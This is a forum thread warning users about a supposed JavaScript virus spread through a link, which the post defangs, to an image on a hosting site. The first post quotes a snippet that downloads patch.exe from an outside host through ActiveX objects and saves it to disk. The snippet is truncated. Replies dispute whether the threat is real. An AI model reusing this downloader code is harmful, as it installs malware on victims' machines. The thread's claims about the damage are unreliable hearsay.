I have just been informed from another member about this Virus. So I have copied his post and I am putting this here for you.

Ok people. There is a new virus out there. Its javascript and is in a URL everyone is passing around. I am going to put that URL in this post so everyone knows the URL and knows not to follow it.

If you click on the link or load it up in IE, while in windows XP you will have to reinstall your system from scratch. You will be screwed.



This is the link. I have broken it up so you cannot click on it by mistake.




Ht#p ://w#w. anglefire.com/cleb2 /picsx/britney.jpg



DO NOT CLICK ON THIS LINK, IT WILL DESTROY YOUR XP INSTALL

A lot of people are pasting this link around. DO NOT GO TO IT.

The Javascript code it executes:

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://scavenger.sharewith.us/patch.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files

thank u for that

its not real twister..........

Eh...I was sent that link this morning, and incidentally my XP DID break this morning...something about some corrupted file, XP won't even start now.


If this IS a virus, the dude who sent me that link is gonna die the next time I see him...

Edit: the link the code sends you to is 'suspended'. That would mean going to the site now would no longer infect you, but would imply that it was a virus at some point.

Somebody probably complained the the company hosting the virus, who then took the site down.

Not only do you guys seem to think this can do damage but

You guys looked for this.....................Jeez?
